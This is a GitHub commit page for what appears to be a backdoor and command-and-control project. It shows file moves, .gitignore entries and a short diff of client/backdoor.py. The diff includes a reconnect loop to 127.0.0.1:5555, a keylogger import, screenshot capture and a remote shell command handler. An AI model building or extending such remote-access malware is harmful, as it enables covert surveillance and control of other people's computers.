Skip to content

Commit 761be71

Browse files
committed
v0.10.2
1 parent 3480a1c commit 761be71

File tree

7 files changed

+458
-262
lines changed

7 files changed

+458
-262
lines changed

.gitignore

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
2+
.DS_Store
3+
CHANGELOG.md
4+
client/__pycache__/*
5+
server/__pycache__/*
6+
server/certs
7+
server/.screenshots
8+
screenshots

c2.py

Lines changed: 0 additions & 251 deletions
This file was deleted.

backdoor/backdoor.py renamed to client/backdoor.py

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,25 @@
1-
import socket
1+
# Standard library imports
22
import json
3-
import subprocess
4-
import time
53
import os
6-
import threading
74
import shutil
5+
import socket
6+
import ssl
7+
import subprocess
88
import sys
9+
import threading
10+
import time
911
from sys import platform
1012

11-
# External dependencies
12-
from mss import mss
13+
# Related third party imports
1314
import requests
15+
from mss import mss
1416

15-
# Local dependencies
17+
# Local application/library specific imports
1618
import keylogger
1719
# from mss import mss # mss v6.1.0
1820
# import requests # v2.28.0
1921

2022

21-
2223
def reliable_send(data):
2324
jsondata = json.dumps(data)
2425
s.send(jsondata.encode())
@@ -106,7 +107,7 @@ def shell():
106107
command = reliable_recv()
107108
if command == 'quit':
108109
break
109-
elif command == 'background': # BEGIN
110+
elif command == 'background' or command == 'bg': # BEGIN
110111
pass
111112
elif command == 'help': # ideally to be removed
112113
pass
@@ -168,7 +169,7 @@ def shell():
168169

169170
def connection():
170171
while True:
171-
time.sleep(5)
172+
time.sleep(1)
172173
try:
173174
s.connect(('127.0.0.1', 5555))
174175
# if platform == 'win32': #TO BE DONE
File renamed without changes.
File renamed without changes.

0 commit comments

Comments
 (0)